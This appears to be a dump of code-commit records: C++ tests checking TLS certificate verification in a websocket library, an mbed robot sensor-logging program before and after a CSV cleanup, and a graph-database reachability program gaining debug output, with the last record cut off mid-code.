\"[security][local]\" )\n{\n\tWHEN( \"I create a client with invalid verification file\" )\n\t{\n\t\tcommunique::Client myClient;\n\t\tREQUIRE_NOTHROW( myClient.setVerifyFile( testinputs::testFileDirectory+\"blahblahblah.pem\" ) );\n\t\tREQUIRE_THROWS( myClient.connect( \"wss:\/\/echo.websocket.org\" ) );\n\t}\n}\n\nSCENARIO( \"Test that an incorrect server certificate fails \", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"old\/server.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"old\/server.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( !myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n\nSCENARIO( \"Test that connection fails when server requires client authentication, and client doesn't authenticate\", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_cert.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_key.pem\" );\n\t\tmyServer.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( !myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n\nSCENARIO( \"Test that client authentication works\", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"server_cert.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_key.pem\" );\n\t\tmyServer.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setCertificateChainFile( testinputs::testFileDirectory+\"client_cert.pem\" );\n\t\tmyClient.setPrivateKeyFile( testinputs::testFileDirectory+\"client_key.pem\" );\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myClient.disconnect() );\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n\nSCENARIO( \"Test that authentication fails when the server certificate has expired\", \"[security][local]\" )\n{\n\tGIVEN( \"A Client and server\" )\n\t{\n\t\tcommunique::Server myServer;\n\t\tmyServer.setCertificateChainFile( testinputs::testFileDirectory+\"expired_server_cert.pem\" );\n\t\tmyServer.setPrivateKeyFile( testinputs::testFileDirectory+\"server_key.pem\" );\n\t\tmyServer.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tcommunique::Client myClient;\n\t\tmyClient.setCertificateChainFile( testinputs::testFileDirectory+\"client_cert.pem\" );\n\t\tmyClient.setPrivateKeyFile( testinputs::testFileDirectory+\"client_key.pem\" );\n\t\tmyClient.setVerifyFile( testinputs::testFileDirectory+\"certificateAuthority_cert.pem\" );\n\n\t\tWHEN( \"I start a server listening and try and connect a client to it\" )\n\t\t{\n\t\t\tREQUIRE_NOTHROW( myServer.listen( ++testinputs::portNumber ) );\n\t\t\tstd::this_thread::sleep_for( testinputs::shortWait );\n\n\t\t\tREQUIRE_NOTHROW( myClient.connect( \"ws:\/\/localhost:\"+std::to_string(testinputs::portNumber) ) );\n\n\t\t\tREQUIRE( !myClient.isConnected() );\n\n\t\t\tREQUIRE_NOTHROW( myClient.disconnect() );\n\t\t\tREQUIRE_NOTHROW( myServer.stop() );\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"\/**\r\n * SD Card Read\/Write Test\r\n * 4\/5\/2017\r\n *\r\n**\/\r\n\/\/#include \r\n\/\/#include \r\n\r\n#include \"mbed.h\"\r\n#include \"pinout.h\"\r\n\r\n#include \"SDFileSystem.h\"\r\n\r\n#include \"imu.h\"\r\n#include \"GPS.h\"\r\n#include \"QEI.h\"\r\n#include \"motor.h\"\r\n#include \"PwmIn.h\"\r\n\r\n\r\n\r\n\/* map structure *\/\r\ntypedef struct Point {\r\n int x; \/\/need to change to GPS relevent values\r\n int y;\r\n} Point;\r\n\r\ntypedef struct Map {\r\n\r\n Point nw; \/\/NorthWest corner of the map\r\n Point ne; \/\/NorthEast corner of the map\r\n Point sw; \/\/southwest corner of the map\r\n Point se; \/\/southEast corner of the map\r\n \r\n float mAccel; \/\/Maximum allowed acceleration\r\n float mVel; \/\/Maximum allowed velocity\r\n\r\n int npoints; \/\/number of map points to run \r\n Point *path; \/\/array of map points to be run\r\n\r\n} Map;\r\n\r\nint readMap(FILE *fp, Map *mp) {\r\n\/\/ char *line;\r\n\/\/ int len;\r\n\r\n if (!fp)\r\n return -1;\r\n \r\n\/* while(line = getline(&line, &len, fp) != -1) {\r\n printf(\"%s\\r\\n\", line);\r\n }\r\n*\/\r\n return 0;\r\n}\r\nint checkMap(Map *mp) {\r\n return 0;\r\n}\r\n\r\n\/\/Function allows driving by RC controler\r\n\/\/Note: this is bad organisation for the final, the only function\r\n\/\/ in the final program that can manipulate the motors directly\r\n\/\/ should be main or a function only called from main who's only job\r\n\/\/ is to set the motor speeds;\r\nint modeRC(float throtle, float lrat, int *mr, int *ml) {\r\n\tthrotle *= 1000000;\r\n\tthrotle -= 1100;\r\n\tthrotle \/= 8;\r\n\t\r\n\tlrat *= 1000000;\r\n\tlrat -= 1000;\r\n\tlrat \/= 1000;\r\n\t*ml = (int)((1 - lrat) * throtle);\r\n\t*mr = (int)(lrat * throtle);\r\n\r\n\treturn 0;\r\n}\r\n\r\n\/* Test Objects *\/\r\nSerial Pc(USBTX,USBRX);\r\n\r\nSDFileSystem sd(DI, DO, CLK, CS, \"sd\");\r\nIMU imu(I2C_SDA, I2C_SCL, BNO055_G_CHIP_ADDR, true);\r\n\r\n\r\n\/* Motor Objects *\/\r\nMOTOR MotorR(1, IN2A, IN1A, ENA, true);\r\nMOTOR MotorL(2, IN2B, IN1B, ENB, true);\r\n\r\n\/* Encoder Objects *\/\r\nQEI EncoderL(CHA1, CHB1, NC, 192, QEI::X4_ENCODING);\r\nQEI EncoderR(CHA2, CHB2, NC, 192, QEI::X4_ENCODING);\r\n\r\n\/* IMU Objects *\/\r\nIMU Imu(IMDA, IMCL, BNO055_G_CHIP_ADDR, true);\r\n\r\n\/* GPS Objects *\/\r\nGPS Gps(GPTX, GPRX);\r\n\r\n\/* Radio Objects *\/\r\nPwmIn Throt(THRO);\r\nPwmIn Lr(LRIN);\r\nPwmIn Mode(MODE);\r\nPwmIn E_Stop(ESTO);\r\n\r\n\r\n\/* Input Buttons *\/\r\nDigitalIn Btn(PC_0);\r\nDigitalIn Dip(PB_6);\r\n\r\nint main()\r\n{\r\n Map mp;\r\n int pCount = 0;\r\n\r\n \/\/radio variables\r\n float estop;\r\n int mr, ml, md;\r\n\r\n\r\n \/\/ Creates variables of reading data types\r\n IMU::imu_euler_t euler;\r\n IMU::imu_lin_accel_t linAccel;\r\n IMU::imu_gravity_t grav;\r\n\r\n\t\r\n \/\/Mount the filesystem\r\n printf(\"Mounting SD card\\r\\n\");\r\n sd.mount();\r\n FILE *ofp = fopen(\"\/sd\/data.txt\", \"w\");\t\r\n FILE *ifp = fopen(\"\/sd\/map.mp\", \"r\");\r\n \r\n\t\/\/infinite loop if SD card not found\r\n\tif (ofp == NULL) {\r\n\t\tPc.printf(\"SD card not found\\r\\n\");\r\n\t\twhile(1) ;\r\n\t}\t\r\n \/\/open map file\r\n\tif (ifp == NULL) {\r\n\t\tPc.printf(\"No Map File Found! ABORT!\\r\\n\");\r\n\t\twhile(1) ;\r\n\t}\r\n \r\n \/\/parse map file into Map structure\r\n if (readMap(ifp, &mp)) {\r\n Pc.printf(\"Map parse failed\\r\\n\");\r\n while(1);\r\n }\r\n\r\n \/\/review the map structure for errors\r\n if (checkMap(&mp)) {\r\n Pc.printf(\"Map does not fit rules\\r\\n\");\r\n while(1);\r\n }\r\n \/\/close the map file, won't be using it anymore\r\n fclose(ifp);\r\n Pc.printf(\"FileSystem ready\\r\\n\");\r\n \r\n\t\/\/Initialise motors\r\n\tMotorL.start(0);\r\n\tMotorR.start(0);\r\n Pc.printf(\"Motors initialised\\r\\n\");\r\n\r\n Pc.printf(\"Waiting on user GO\\r\\n\");\r\n\twhile ((estop = E_Stop.pulsewidth() * 1000000) < 1150 && \r\n estop > 1090)\r\n ;\r\n\twhile ((estop = E_Stop.pulsewidth() * 1000000) != 1096)\r\n ;\r\n \r\n Pc.printf(\"User GO accepted starting run\\r\\n\");\r\n\twhile((estop = E_Stop.pulsewidth() * 1000000) < 1150 && \r\n estop > 1090) {\r\n fprintf(ofp, \"Data Point: %d\\r\\n\",pCount);\r\n \/\/Check DIP2 to activate the motors\r\n\t\tif(Btn && (md = Mode.pulsewidth() * 1000000) > 1450 && \r\n md < 1550) {\r\n\t\t\t\r\n \r\n\t\t\tmodeRC(Throt.pulsewidth(), Lr.pulsewidth(), &mr, &ml);\r\n\t\t\tMotorL.start(ml);\r\n\t\t\tMotorR.start(mr);\r\n \r\n Pc.printf(\"Motor ON\\tMode:%f\\t\",Mode.pulsewidth() );\r\n Pc.printf(\"Motor Left: %d\\tMotor Right: %d\\r\\n\", ml, mr);\r\n\t\t\tfprintf(ofp, \"Motor ON\\t\");\r\n Pc.printf(\"Motor Left: %d\\tMotor Right: %d\\r\\n\", ml, mr);\r\n\t\t} else {\r\n\t\t\tMotorL.start(0);\r\n\t\t\tMotorR.start(0);\r\n Pc.printf(\"Motor OFF\\r\\n\");\r\n\t\t\tfprintf(ofp, \"Motor OFF\\r\\n\");\r\n\t\t}\r\n\r\n \/\/Read data from GPS\r\n if(Gps.parseData()) {\r\n fprintf(ofp, \"time: %f\\r\\n\",Gps.time);\r\n fprintf(ofp, \"latatude: %f\\r\\n\", Gps.latitude);\r\n fprintf(ofp, \"longitude: %f\\r\\n\", Gps.longitude);\r\n fprintf(ofp, \"Satilites: %d\\r\\n\", Gps.satellites);\r\n } else {\r\n fprintf(ofp, \"GPS: No LOCK\\r\\n\");\r\n }\r\n \r\n \/\/Read data from encoders\r\n fprintf(ofp, \"EncoderL: %d\\r\\n\", EncoderL.getPulses());\r\n fprintf(ofp, \"EncoderR: %d\\r\\n\", EncoderR.getPulses());\r\n EncoderL.reset();\r\n EncoderR.reset();\r\n \r\n \/\/Read data from IMU\r\n imu.getEulerAng(&euler);\r\n imu.getLinAccel(&linAccel);\r\n imu.getGravity(&grav);\r\n\r\n fprintf(ofp, \"Data Point %d\\r\\n\", pCount);\r\n fprintf(ofp, \"Heading: %f Pitch: %f Roll: %f\\r\\n\", \r\n euler.heading, euler.pitch, euler.roll);\r\n fprintf(ofp, \"LinX: %f LinY: %f LinZ: %f\\r\\n\", \r\n linAccel.x, linAccel.y, linAccel.z);\r\n fprintf(ofp, \"GravX: %f GravY: %f GravZ: %f\\r\\n\", \r\n grav.x, grav.y, grav.z);\r\n fprintf(ofp, \"\\r\\n\");\r\n pCount++;\r\n wait_ms(10);\r\n }\r\n\r\n MotorL.start(0);\r\n MotorR.start(0);\r\n \/\/Unmount the filesystem\r\n fprintf(ofp,\"End of Program\\r\\n\");\r\n fclose(ofp);\r\n printf(\"Unmounting SD card\\r\\n\");\r\n sd.unmount();\r\n Pc.printf(\"SD card unmounted\\r\\n\");\r\n\r\n Pc.printf(\"Program Terminated\\r\\n\");\r\n while(1);\r\n}\r\n \r\ncleaned up the data collection program, output should be csv (untested)\/**\r\n * SD Card Read\/Write Test\r\n * 4\/5\/2017\r\n *\r\n**\/\r\n\/\/#include \r\n\/\/#include \r\n\r\n#include \"mbed.h\"\r\n#include \"pinout.h\"\r\n\r\n#include \"SDFileSystem.h\"\r\n\r\n#include \"imu.h\"\r\n#include \"GPS.h\"\r\n#include \"QEI.h\"\r\n#include \"motor.h\"\r\n#include \"PwmIn.h\"\r\n\r\n\r\n\r\n\/* map structure *\/\r\ntypedef struct Point {\r\n int time;\r\n int x; \/\/need to change to GPS relevent values\r\n int y;\r\n int dir; \/\/need to change to imu relevent values\r\n int vel;\r\n} Point;\r\n\r\ntypedef struct Map {\r\n\r\n Point nw; \/\/NorthWest corner of the map\r\n Point ne; \/\/NorthEast corner of the map\r\n Point sw; \/\/southwest corner of the map\r\n Point se; \/\/southEast corner of the map\r\n \r\n float mAccel; \/\/Maximum allowed acceleration\r\n float mVel; \/\/Maximum allowed velocity\r\n\r\n int npoints; \/\/number of map points to run \r\n Point *path; \/\/array of map points to be run\r\n\r\n} Map;\r\n\r\nint readMap(FILE *fp, Map *mp) {\r\n\/\/ char *line;\r\n\/\/ int len;\r\n\r\n if (!fp)\r\n return -1;\r\n \r\n\/* while(line = getline(&line, &len, fp) != -1) {\r\n printf(\"%s\\r\\n\", line);\r\n }\r\n*\/\r\n return 0;\r\n}\r\nint checkMap(Map *mp) {\r\n return 0;\r\n}\r\n\r\n\/\/Function allows driving by RC controler\r\nint modeRC(float throtle, float lrat, int *mr, int *ml) {\r\n\tthrotle *= 1000000;\r\n\tthrotle -= 1100;\r\n\tthrotle \/= 8;\r\n\t\r\n\tlrat *= 1000000;\r\n\tlrat -= 1000;\r\n\tlrat \/= 1000;\r\n\t*ml = (int)((1 - lrat) * throtle);\r\n\t*mr = (int)(lrat * throtle);\r\n\r\n\treturn 0;\r\n}\r\n\r\n\/* Test Objects *\/\r\nSerial Pc(USBTX,USBRX);\r\n\r\n\/* file system objects *\/\r\nSDFileSystem sd(DI, DO, CLK, CS, \"sd\");\r\n\r\n\/* IMU objects *\/\r\nIMU imu(I2C_SDA, I2C_SCL, BNO055_G_CHIP_ADDR, true);\r\n\r\n\/* Motor Objects *\/\r\nMOTOR MotorR(1, IN2A, IN1A, ENA, true);\r\nMOTOR MotorL(2, IN2B, IN1B, ENB, true);\r\n\r\n\/* Encoder Objects *\/\r\nQEI EncoderL(CHA1, CHB1, NC, 192, QEI::X4_ENCODING);\r\nQEI EncoderR(CHA2, CHB2, NC, 192, QEI::X4_ENCODING);\r\n\r\n\/* IMU Objects *\/\r\nIMU Imu(IMDA, IMCL, BNO055_G_CHIP_ADDR, true);\r\n\r\n\/* GPS Objects *\/\r\nGPS Gps(GPTX, GPRX);\r\n\r\n\/* Radio Objects *\/\r\nPwmIn Throt(THRO);\r\nPwmIn Lr(LRIN);\r\nPwmIn Mode(MODE);\r\nPwmIn E_Stop(ESTO);\r\n\r\n\r\n\/* Input Buttons *\/\r\nDigitalIn Btn(PC_0);\r\nDigitalIn Dip(PB_6);\r\n\r\nint main()\r\n{\r\n Map mp;\r\n int pCount = 0;\r\n\r\n \/\/radio variables\r\n float throtle, leftright, mode, estop;\r\n\r\n \/\/motor variables\r\n int mr, ml;\r\n\r\n \/\/encoder variables\r\n int lenc, renc;\r\n\r\n \/\/gps variables\r\n int lock;\r\n\r\n \/\/ Creates variables of reading data types\r\n IMU::imu_euler_t euler;\r\n IMU::imu_lin_accel_t linAccel;\r\n IMU::imu_gravity_t grav;\r\n\r\n\t\r\n \/\/Mount the filesystem\r\n printf(\"Mounting SD card\\r\\n\");\r\n sd.mount();\r\n FILE *ofp = fopen(\"\/sd\/data.txt\", \"w\");\t\r\n FILE *ifp = fopen(\"\/sd\/map.mp\", \"r\");\r\n \r\n\t\/\/infinite loop if SD card not found\r\n\tif (ofp == NULL) {\r\n\t\tPc.printf(\"SD card not found\\r\\n\");\r\n\t\twhile(1) ;\r\n\t}\t\r\n \/\/open map file\r\n\tif (ifp == NULL) {\r\n\t\tPc.printf(\"No Map File Found! ABORT!\\r\\n\");\r\n\t\twhile(1) ;\r\n\t}\r\n \r\n \/\/parse map file into Map structure\r\n if (readMap(ifp, &mp)) {\r\n Pc.printf(\"Map parse failed\\r\\n\");\r\n while(1);\r\n }\r\n\r\n \/\/review the map structure for errors\r\n if (checkMap(&mp)) {\r\n Pc.printf(\"Map does not fit rules\\r\\n\");\r\n while(1);\r\n }\r\n \/\/close the map file, won't be using it anymore\r\n fclose(ifp);\r\n Pc.printf(\"FileSystem ready\\r\\n\");\r\n \r\n\t\/\/Initialise motors\r\n\tMotorL.start(0);\r\n\tMotorR.start(0);\r\n Pc.printf(\"Motors initialised\\r\\n\");\r\n\r\n Pc.printf(\"Waiting on user GO\\r\\n\");\r\n \/\/estop must transition from low to high to activate vehical\r\n\twhile ((estop = E_Stop.pulsewidth() * 1000000) < 1150 && \r\n estop > 1090)\r\n ;\r\n\twhile ((estop = E_Stop.pulsewidth() * 1000000) != 1096)\r\n ;\r\n \r\n\r\n \/\/print collumn catagories\r\n Pc.printf(\"User GO accepted starting run\\r\\n\");\r\n fprintf(ofp, \"Point#, nearest waypoint, next waypoint, \");\r\n fprintf(ofp, \"rcThrot, rcDir, rcE-stop, rcMode, \");\r\n fprintf(ofp, \"time, lat, long, #sat, \");\r\n fprintf(ofp, \"xAcc, yAcc, zAcc, heading, pitch, role, xGra, yGra, zGra, \");\r\n fprintf(ofp, \"lEncoder, rEncoder, lMotor, rMotor\\r\\n\");\r\n\r\n \/\/main loop, breaks out if estop tripped\r\n\twhile((estop = E_Stop.pulsewidth() * 1000000) < 1150 && estop > 1090) {\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Gather Data\r\n \/\/get radio values\r\n throtle = Throt.pulsewidth();\r\n mode = Mode.pulsewidth();\r\n leftright = Lr.pulsewidth();\r\n \/\/Read data from IMU\r\n imu.getEulerAng(&euler);\r\n imu.getLinAccel(&linAccel);\r\n imu.getGravity(&grav);\r\n \/\/get encoder data and reset encoders\r\n lenc = EncoderL.getPulses();\r\n renc = EncoderR.getPulses();\r\n EncoderL.reset();\r\n EncoderR.reset();\r\n \/\/get gps data\r\n lock = Gps.parseData();\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Use Data to make decisions\r\n \/\/Check Dip2 && radio state then set the motor variables accordingly\r\n\t\tif(Btn && (mode * 1000000) > 1450 && mode < 1550) {\r\n \/\/Radio control mode\r\n\t\t\tmodeRC(throtle, leftright, &mr, &ml);\r\n\t\t} else {\r\n \/\/all other states atmo are just dead stop\r\n\t\t\tml = 0;\r\n\t\t mr = 0;\r\n\t\t}\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Record data and decisions to file\r\n \/\/record map relevent data (not currently used) \r\n fprintf(ofp, \"%d, %d, %d, \", pCount, 0, 0); \r\n \/\/record radio values\r\n fprintf(ofp, \"%f, %f, %f, %f, \", throtle, leftright, estop, mode);\r\n \/\/record gps data if available\r\n if (lock) {\r\n fprintf(ofp, \"%f, %f, %f, %d, \", Gps.time, Gps.latitude,\r\n Gps.longitude, Gps.satellites);\r\n } else {\r\n fprintf(ofp, \"NL, NL, NL, NL, NL, \");\r\n }\r\n \/\/record data from IMU\r\n fprintf(ofp, \"%f, %f, %f, \", linAccel.x, linAccel.y, linAccel.z);\r\n fprintf(ofp, \"%f, %f, %f, \", euler.heading, euler.pitch, euler.roll);\r\n fprintf(ofp, \"%f, %f, %f, \", grav.x, grav.y, grav.z);\r\n \/\/record encoder data\r\n fprintf(ofp, \"%d, %d, \", lenc, renc);\r\n \/\/record motor variables\r\n fprintf(ofp, \"%d, %d\\r\\n\", ml, mr);\r\n\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/use decisions to change motors\r\n \/\/Set motors\r\n\t MotorL.start(ml);\r\n\t\tMotorR.start(mr); \r\n \r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/end of loop cleanup and multiloop funcs \r\n \/\/Increment data point count \r\n pCount++;\r\n \/\/delay 10ms, this may be removed in future if we use a heavy algorithm\r\n wait_ms(10);\r\n }\r\n\r\n \/\/power down motors\r\n MotorL.start(0);\r\n MotorR.start(0);\r\n\r\n \/\/Unmount the filesystem\r\n fprintf(ofp,\"End of Program\\r\\n\");\r\n fclose(ofp);\r\n printf(\"Unmounting SD card\\r\\n\");\r\n sd.unmount();\r\n Pc.printf(\"SD card unmounted\\r\\n\");\r\n\r\n Pc.printf(\"Program Terminated\\r\\n\");\r\n while(1);\r\n}\r\n \r\n<|endoftext|>"} {"text":"\/*\n * ===============================================================\n * Description: Reachability program.\n *\n * Created: Sunday 23 April 2013 11:00:03 EDT\n *\n * Author: Ayush Dubey, Greg Hill\n * dubey@cs.cornell.edu, gdh39@cornell.edu\n *\n * Copyright (C) 2013, Cornell University, see the LICENSE file\n * for licensing agreement\n * ================================================================\n *\/\n\n#include \"reach_program.h\"\n\nnamespace node_prog\n{\n bool\n check_cache_context(cache_response &cr)\n {\n std::vector& contexts = cr.get_context();\n if (contexts.size() == 0) {\n return true;\n }\n reach_cache_value &cv = *cr.get_value();\n \/\/ path not valid if broken by:\n for (node_cache_context& node_context : contexts)\n {\n if (node_context.node_deleted){ \/\/ node deletion\n WDEBUG << \"Cache entry invalid because of node deletion\" << std::endl;\n return false;\n }\n \/\/ edge deletion, see if path was broken\n for (size_t i = 1; i < cv.path.size(); i++) {\n if (node_context.node == cv.path.at(i)) {\n db::element::remote_node &path_next_node = cv.path.at(i-1);\n for(auto &edge : node_context.edges_deleted){\n if (edge.nbr == path_next_node) {\n WDEBUG << \"Cache entry invalid because of edge deletion\" << std::endl;\n return false;\n }\n }\n break; \/\/ path not broken here, move on\n }\n }\n }\n WDEBUG << \"Cache entry with context size \" << contexts.size() << \" valid\" << std::endl;\n return true;\n }\n\n std::vector> \n reach_node_program(\n node &n,\n db::element::remote_node &rn,\n reach_params ¶ms,\n std::function state_getter,\n std::function, \/\/ TODO make const\n std::shared_ptr>, uint64_t)>& add_cache_func,\n cache_response*cache_response)\n {\n reach_node_state &state = state_getter();\n std::vector> next;\n bool false_reply = false;\n db::element::remote_node prev_node = params.prev_node;\n params.prev_node = rn;\n if (!params.returning) { \/\/ request mode\n if (params.dest == rn.get_id()) {\n \/\/ we found the node we are looking for, prepare a reply\n params.returning = true;\n params.reachable = true;\n params.path.emplace_back(rn);\n return {std::make_pair(prev_node, params)};\n } else {\n \/\/ have not found it yet so follow all out edges\n if (!state.visited) {\n state.prev_node = prev_node;\n state.visited = true;\n\n if (MAX_CACHE_ENTRIES)\n {\n if (params._search_cache \/*&& !params.returning *\/ && cache_response != NULL){\n \/\/ check context, update cache\n bool valid = check_cache_context(*cache_response);\n if (valid) {\n \/\/ we found the node we are looking for, prepare a reply\n params.returning = true;\n params.reachable = true;\n params._search_cache = false; \/\/ don't search on way back\n\n \/\/ context for cached value contains the nodes in the path to the dest_idination from this node\n params.path = std::dynamic_pointer_cast(cache_response->get_value())->path; \/\/ XXX double check this path\n WDEBUG << \"Cache worked at node \" << rn.id << \" with path len \" << params.path.size() << std::endl;\n return {std::make_pair(prev_node, params)}; \/\/ single length vector\n } else {\n cache_response->invalidate();\n }\n }\n }\n\n for (edge &e: n.get_edges()) {\n \/\/ checking edge properties\n if (e.has_all_properties(params.edge_props)) {\n \/\/ e->traverse(); no more traversal recording\n\n \/\/ propagate reachability request\n next.emplace_back(std::make_pair(e.get_neighbor(), params));\n state.out_count++;\n }\n }\n if (state.out_count == 0) {\n false_reply = true;\n }\n } else {\n false_reply = true;\n }\n }\n if (false_reply) {\n params.returning = true;\n params.reachable = false;\n next.emplace_back(std::make_pair(prev_node, params));\n }\n } else { \/\/ reply mode\n if (params.reachable) {\n if (state.hops > params.hops) {\n state.hops = params.hops;\n }\n }\n if (((--state.out_count == 0) || params.reachable) && !state.reachable) {\n state.reachable |= params.reachable;\n if (params.reachable) {\n params.hops = state.hops + 1;\n params.path.emplace_back(rn);\n if (MAX_CACHE_ENTRIES)\n {\n \/\/ now add to cache\n WDEBUG << \"adding to cache on way back from dest on node \" << rn.id << \" with path len \" << params.path.size() << std::endl;\n std::shared_ptr toCache(new reach_cache_value(params.path));\n std::shared_ptr> watch_set(new std::vector(params.path)); \/\/ copy return path from params\n add_cache_func(toCache, watch_set, params.dest);\n }\n }\n next.emplace_back(std::make_pair(state.prev_node, params));\n }\n if ((int)state.out_count < 0) {\n WDEBUG << \"ALERT! Bad state value in reach program\" << std::endl;\n next.clear();\n }\n }\n return next;\n }\n}\nadded more debug statements, small flag fix on reachability prog\/*\n * ===============================================================\n * Description: Reachability program.\n *\n * Created: Sunday 23 April 2013 11:00:03 EDT\n *\n * Author: Ayush Dubey, Greg Hill\n * dubey@cs.cornell.edu, gdh39@cornell.edu\n *\n * Copyright (C) 2013, Cornell University, see the LICENSE file\n * for licensing agreement\n * ================================================================\n *\/\n\n\/\/#define weaver_debug_\n#include \"reach_program.h\"\n\nnamespace node_prog\n{\n inline bool\n check_cache_context(cache_response &cr)\n {\n std::vector& contexts = cr.get_context();\n if (contexts.size() == 0) {\n return true;\n }\n reach_cache_value &cv = *cr.get_value();\n \/\/ path not valid if broken by:\n for (node_cache_context& node_context : contexts)\n {\n if (node_context.node_deleted){ \/\/ node deletion\n WDEBUG << \"Cache entry invalid because of node deletion\" << std::endl;\n return false;\n }\n \/\/ edge deletion, see if path was broken\n for (size_t i = 1; i < cv.path.size(); i++) {\n if (node_context.node == cv.path.at(i)) {\n db::element::remote_node &path_next_node = cv.path.at(i-1);\n for(auto &edge : node_context.edges_deleted){\n if (edge.nbr == path_next_node) {\n WDEBUG << \"Cache entry invalid because of edge deletion\" << std::endl;\n return false;\n }\n }\n break; \/\/ path not broken here, move on\n }\n }\n }\n WDEBUG << \"Cache entry with context size \" << contexts.size() << \" valid\" << std::endl;\n return true;\n }\n\n std::vector> \n reach_node_program(\n node &n,\n db::element::remote_node &rn,\n reach_params ¶ms,\n std::function state_getter,\n std::function, \/\/ TODO make const\n std::shared_ptr>, uint64_t)>& add_cache_func,\n cache_response*cache_response)\n {\n WDEBUG << \"REACH AT NODE \" << rn.id << std::endl;\n reach_node_state &state = state_getter();\n std::vector> next;\n bool false_reply = false;\n db::element::remote_node prev_node = params.prev_node;\n params.prev_node = rn;\n if (!params.returning) { \/\/ request mode\n if (params.dest == rn.get_id()) {\n \/\/ we found the node we are looking for, prepare a reply\n params.returning = true;\n params.reachable = true;\n params.path.emplace_back(rn);\n params._search_cache = false; \/\/ never search on way back\n WDEBUG << \"returning to node \" << prev_node.id << \" because found \" << std::endl;\n return {std::make_pair(prev_node, params)};\n } else {\n \/\/ have not found it yet so follow all out edges\n if (!state.visited) {\n state.prev_node = prev_node;\n state.visited = true;\n\n if (MAX_CACHE_ENTRIES)\n {\n WDEBUG << \"in cache section with search cache \" << params._search_cache << \", cache key = \" << params._cache_key << \" and cache response \"<< cache_response << std::endl;\n if (params._search_cache \/*&& !params.returning *\/ && cache_response != NULL){\n \/\/ check context, update cache\n if (check_cache_context(*cache_response)) { \/\/ if context is valid\n \/\/ we found the node we are looking for, prepare a reply\n params.returning = true;\n params.reachable = true;\n params._search_cache = false; \/\/ don't search on way back\n\n \/\/ context for cached value contains the nodes in the path to the dest_idination from this node\n params.path = std::dynamic_pointer_cast(cache_response->get_value())->path; \/\/ XXX double check this path\n WDEBUG << \"Cache worked at node \" << rn.id << \" with path len \" << params.path.size() << std::endl;\n WDEBUG << \"path is \"<< std::endl;\n for (db::element::remote_node &r : params.path) {\n WDEBUG << r.id << std::endl;\n }\n WDEBUG << std::endl;\n WDEBUG << \"returning to node \" << prev_node.id << \" in positive cache response \" << std::endl;\n return {std::make_pair(prev_node, params)}; \/\/ single length vector\n } else {\n cache_response->invalidate();\n }\n }\n }\n\n for (edge &e: n.get_edges()) {\n \/\/ checking edge properties\n if (e.has_all_properties(params.edge_props)) {\n \/\/ e->traverse(); no more traversal recording\n\n \/\/ propagate reachability request\n next.emplace_back(std::make_pair(e.get_neighbor(), params));\n WDEBUG << \"emplacing \" << e.get_neighbor().id << \" to next\" << std::endl;\n state.out_count++;\n }\n }\n if (state.out_count == 0) {\n false_reply = true;\n }\n } else {\n false_reply = true;\n }\n }\n if (false_reply) {\n params.returning = true;\n params.reachable = false;\n next.emplace_back(std::make_pair(prev_node, params));\n }\n } else { \/\/ 